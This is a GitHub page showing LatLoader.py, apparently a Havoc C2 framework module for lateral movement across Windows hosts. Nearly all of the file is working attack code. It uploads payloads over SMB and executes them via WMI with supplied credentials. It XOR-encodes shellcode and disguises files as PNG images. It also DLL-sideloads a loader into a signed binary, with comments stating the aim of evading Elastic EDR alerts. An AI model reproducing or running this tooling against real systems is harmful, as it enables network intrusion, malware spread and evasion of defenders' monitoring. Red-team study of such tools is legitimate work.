-
Notifications
You must be signed in to change notification settings - Fork 33
/
Copy pathLatLoader.py
279 lines (215 loc) · 9.41 KB
/
LatLoader.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
from havoc import Demon, RegisterCommand, RegisterModule
import re, time, string, random
# Change this to match the key used in the loaders. Or maybe make modifications to dymaically generate a random key each time. ;)
XOR_KEY = "OPERATORCHANGEMEPLZZZ"
class WmiPacker:
def __init__(self):
self.buffer : bytes = b''
self.size : int = 0
def getbuffer(self):
return pack("<L", self.size) + self.buffer
def addstr(self, s):
if s is None:
s = ''
if isinstance(s, str):
s = s.encode("utf-8" )
fmt = "<L{}s".format(len(s) + 1)
self.buffer += pack(fmt, len(s)+1, s)
self.size += calcsize(fmt)
def addWstr(self, s):
s = s.encode("utf-16_le")
fmt = "<L{}s".format(len(s) + 2)
self.buffer += pack(fmt, len(s)+2, s)
self.size += calcsize(fmt)
def addbytes(self, b):
fmt = "<L{}s".format(len(b))
self.buffer += pack(fmt, len(b), b)
self.size += calcsize(fmt)
def addbool(self, b):
fmt = '<I'
self.buffer += pack(fmt, 1 if b else 0)
self.size += calcsize(fmt)
def adduint32(self, n):
fmt = '<I'
self.buffer += pack(fmt, n)
self.size += calcsize(fmt)
def addshort(self, n):
fmt = '<h'
self.buffer += pack(fmt, n)
self.size += calcsize(fmt)
def xorencode(infile, key, outfile):
# Generate key if one is not supplied
if key == "" or key == None:
letters = string.ascii_letters + string.digits
key = ''.join(random.choice(letters) for i in range(49))
# read input file as raw bytes
file = open(infile, 'rb')
contents = file.read()
file.close()
# initialize encrypted byte array
encoded = []
for b in range(len(contents)):
test = contents[b] ^ ord(key[b % len(key)])
#hex_formated.append("{:02x}".format(test)) # store as each byte as hex string in array
encoded.append(test)
file = open(outfile, "wb")
file.write(bytes(encoded))
file.close()
print(f"[+] File encoded successfully! Saved to: {outfile}")
print(f"[+] Here is your key: {key}")
def smb_writefile( demonID, *params ):
TaskID : str = None
demon : Demon = None
packer = WmiPacker()
demon = Demon( demonID )
if demon.ProcessArch == 'x86':
demon.ConsoleWrite( demon.CONSOLE_ERROR, "x86 is not supported" )
return False
#print(f"[debug] [rupload] type(params[0]): {type(params[0])}")
if type(params[0]) == tuple:
params = params[0]
#params = params[1:]
num_params = len(params)
print(f"[debug] [rupload] params: {params}")
target = params[0]
is_current = False
f = open(params[1], "rb")
fileBytes = f.read()
f.close()
remotePath = params[2].split(":")[1]
packer.addstr(target)
packer.addstr(remotePath)
packer.adduint32(len(fileBytes))
packer.addstr(fileBytes)
#print(fileBytes[0:10])
TaskID = demon.ConsoleWrite( demon.CONSOLE_TASK, f"Tasked demon to copy {params[1]} to {remotePath} on {target} via SMB")
demon.InlineExecute( TaskID, "go", f"bin/writefileBOF.{demon.ProcessArch}.o", packer.getbuffer(), False )
return TaskID
def wmi_proccreate( demonID, *params):
TaskID : str = None
demon : Demon = None
packer = WmiPacker()
demon = Demon( demonID )
if demon.ProcessArch == 'x86':
demon.ConsoleWrite( demon.CONSOLE_ERROR, "x86 is not supported" )
return False
#print(f"[debug] [exec] type(params[0]): {type(params[0])}")
if type(params[0]) == tuple:
params = params[0]
#print(f"[debug] [exec] params1: {params}")
#params = params[1:] # required if params are passed directly as *params
num_params = len(params)
print(f"[debug] [exec] params: {params}")
target = ''
username = ''
password = ''
domain = ''
command = ''
is_current = False
if num_params < 2:
print(f"[debug] [exec] num_params1: {num_params}")
demon.ConsoleWrite( demon.CONSOLE_ERROR, "Not enough parameters" )
return False
if num_params > 5:
demon.ConsoleWrite( demon.CONSOLE_ERROR, "Too many parameters" )
return False
target = f'\\\\{params[ 0 ]}\\ROOT\\CIMV2'
command = params[ 1 ]
if num_params > 2 and num_params < 5:
print(f"[debug] [exec] num_params: {num_params}")
demon.ConsoleWrite( demon.CONSOLE_ERROR, "Not enough parameters" )
return False
if num_params == 6:
is_current = False
username = params[ 2 ]
password = params[ 3 ]
domain = params[ 4 ]
packer.addWstr(target)
packer.addWstr(domain)
packer.addWstr(username)
packer.addWstr(password)
packer.addWstr(command)
packer.addbool(is_current)
TaskID = demon.ConsoleWrite( demon.CONSOLE_TASK, f"Tasked demon to run {command} on {target} via wmi" )
demon.InlineExecute( TaskID, "go", f"bin/ProcCreate.{demon.ProcessArch}.o", packer.getbuffer(), False )
return TaskID
def load(demonID, *params):
TaskID : str = None
demon : Demon = None
packer = WmiPacker()
demon = Demon( demonID )
if demon.ProcessArch == 'x86':
demon.ConsoleWrite( demon.CONSOLE_ERROR, "x86 is not supported" )
return False
print(f"[debug] [load] params: {params}")
#params = params[1:]
num_params = len(params)
targetHost = params[0]
targetFile = params[1]
TaskID = demon.ConsoleWrite( demon.CONSOLE_TASK, f"Perfoming lateral movement with provided exe..." )
newParams = (targetHost, targetFile, "C:\\Windows\\load.exe")
smb_writefile(demonID, newParams)
newParams = (targetHost, "cmd.exe /c C:\\Windows\\load.exe")
wmi_proccreate(demonID, newParams)
return TaskID
def xorload(demonID, *params):
TaskID : str = None
demon : Demon = None
packer = WmiPacker()
demon = Demon( demonID )
if demon.ProcessArch == 'x86':
demon.ConsoleWrite( demon.CONSOLE_ERROR, "x86 is not supported" )
return False
print(f"[debug] [xorload] params: {params}")
#params = params[1:]
num_params = len(params)
targetHost = params[0]
demonFile = params[1]
TaskID = demon.ConsoleWrite( demon.CONSOLE_TASK, f"Perfoming lateral movement with xor shellcode loader..." )
# xor encode provided raw shellcode file
xorencode(demonFile, XOR_KEY, "bin/xordemon.bin")
newParams = (targetHost, "bin/xordemon.bin", "C:\\Windows\\image02.png")
smb_writefile(demonID, newParams)
newParams = (targetHost, "bin/loader.exe", "C:\\Windows\\load.exe")
smb_writefile(demonID, newParams)
newParams = (targetHost, "cmd.exe /c C:\\Windows\\load.exe")
wmi_proccreate(demonID, newParams)
return TaskID
def sideload(demonID, *params):
TaskID : str = None
demon : Demon = None
packer = WmiPacker()
demon = Demon( demonID )
if demon.ProcessArch == 'x86':
demon.ConsoleWrite( demon.CONSOLE_ERROR, "x86 is not supported" )
return False
print(f"[debug] [sideload] params: {params}")
#params = params[1:]
num_params = len(params)
targetHost = params[0]
demonFile = params[1]
TaskID = demon.ConsoleWrite( demon.CONSOLE_TASK, f"Perfoming lateral movement with xor shellcode loader via DLL sideloading..." )
# xor encode provided raw shellcode file
xorencode(demonFile, XOR_KEY, "bin/xordemon.bin")
# Write to dll sideloader to target location
newParams = (targetHost, "bin/signed_sideloader.dll", "C:\\Windows\\cryptbase.png")
smb_writefile(demonID, newParams)
# Change cryptbase extension via WMI, avoiding elastic "Lateral Tool via SMB" alert
newParams = (targetHost, "cmd.exe /c copy C:\\Windows\\cryptbase.png C:\\Windows\\cryptbase.dll && echo --path C:\\Windows\\CCMCache\\cache")
wmi_proccreate(demonID, newParams)
# upload xor encoded demon to target location
newParams = (targetHost, "bin/xordemon.bin", "C:\\Windows\\image02.png")
smb_writefile(demonID, newParams)
# Move write.exe to directory containing dll
newParams = (targetHost, "cmd.exe /c copy C:\\Windows\\System32\\DiskSnapShot.exe C:\\Windows\\DiskSnapShot.exe && echo --path C:\\Windows\\CCMCache\\cache")
wmi_proccreate(demonID, newParams)
# Execute shellcode loader via DLL sideloading cryptbase.dll into DiskSnapShot.exe
newParams = (targetHost, "cmd.exe /c C:\\Windows\\DiskSnapShot.exe && echo --path C:\\Windows\\CCMCache\\cache")
wmi_proccreate(demonID, newParams)
return TaskID
RegisterModule( "LatLoader", "Laterally move via WMI using a simple shellcode loader", "", "[subcommand] (args)", "", "" )
RegisterCommand( smb_writefile, "LatLoader", "rupload", "Upload a file over SMB", 0, "target local_file remote_path", "dc1 /root/test.exe C:\\Windows\\Temp\\test.exe")
RegisterCommand( wmi_proccreate, "LatLoader", "exec", "Execute a file or command via WMI", 0, "target command", "dc1 \"cmd.exe /c whoami > C:\\poc3.txt\"" )
RegisterCommand( load, "LatLoader", "load", "Upload file over SMB and execute it via WMI", 0, "target local_file", "dc1 /root/test.exe")
RegisterCommand( xorload, "LatLoader", "xorload", "Perform lateral movement using a simple shellcode loader", 0, "target raw_demon_file", "dc1 /root/demon.x64.bin")
RegisterCommand( sideload, "LatLoader", "sideload", "Perform lateral movement by DLL sideloading a simple shellcode loader with evasions for Elastic EDR rules", 0, "target raw_demon_file", "dc1 /root/demon.x64.bin")